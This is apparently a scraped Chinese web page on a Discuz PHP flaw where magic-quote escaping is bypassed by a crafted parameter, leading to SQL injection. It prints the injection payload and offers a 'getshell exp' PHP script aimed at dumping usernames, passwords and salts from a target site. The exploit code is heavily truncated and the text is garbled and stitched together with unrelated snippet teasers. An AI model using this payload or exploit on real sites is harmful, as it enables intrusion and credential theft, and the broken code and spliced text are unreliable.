在《高階php應用程式漏洞審核技術》[1]一文裡的"魔術引號帶來的新的安全爆出賬號+密碼+salt的語句 以下內容僅供站長進行安全自檢,非法利用責任自負問題"一節裡,有
提到通過提取魔術引號產生的「\」字元帶來的安全
問題,同樣這個問題在這裡又一次完美體
現,如下面的**片段:
// foo.php?xigr='ryat
function daddslashes($string, $force = 0)
} else
}return $string;
}...
foreach(array('_cookie', '_post', '_get') as $_request) != '_' && $$_key = daddslashes($_value);}}
echo $xigr['hi'];
// echo \
上面的**原本期望得到乙個經過daddslashes()安全處理後的陣列變數$xigr['hi'],但是沒
有對變數$xigr做嚴格的型別規定,當我們提交乙個字串變數$xigr='ryat,經過上面的處理
變為\'ryat,到最後$xigr['hi']就會輸出\,如果這個變數引入到sql語句,那麼就會引起嚴重
的安全問題了,再來看下面的**片段:
...if($xigr)
$query = $db->query("select uid from users where uid in ('".implode("','", $uids)."')");
利用上面提到的思路,通過提交foo.php?xigr='&xigr[uid]=evilcode這樣的構造形式可
以很容易的突破gpc或類似的安全處理,形成sql注射漏洞:d
附上getshell exp:(根據別人的測試,**可能有些部分有待完善)
<?php/*** @author: xiaoma
* @blog : www.i0day
.com
* @date : 2014.7.2 23:1*/
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
if ($argc < 2)
if($js==1)else
}else}}
} }elseif($js==2)else
}elseif($js==3)else
}else
}else
function sendpack($host,$path,$sql,$js)
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
return $resp; }
function send($cmd)
function _authcode($string, $operation = 'decode', $key = '', $expiry = 0)
for($j = $i = 0; $i < 256; $i++)
for($a = $j = $i = 0; $i < $string_length; $i++)
if($operation == 'decode') else
} else }
function hex2str($hex)
return $str;
}?>
Discuz雞肋通殺注入漏洞
首先說明這個東西價值不大,測試通殺2.x 3.x,以下的版本沒看,具體的利用方法本人也沒去研究,頂多mysql有file許可權的時候可以getshell,當然discuz還是有不少地方有問題的,這個不能說。團隊 safekey team 問題出在檔案 uc client model base.php...
SQL注入漏洞
sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...
SQL注入漏洞
sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...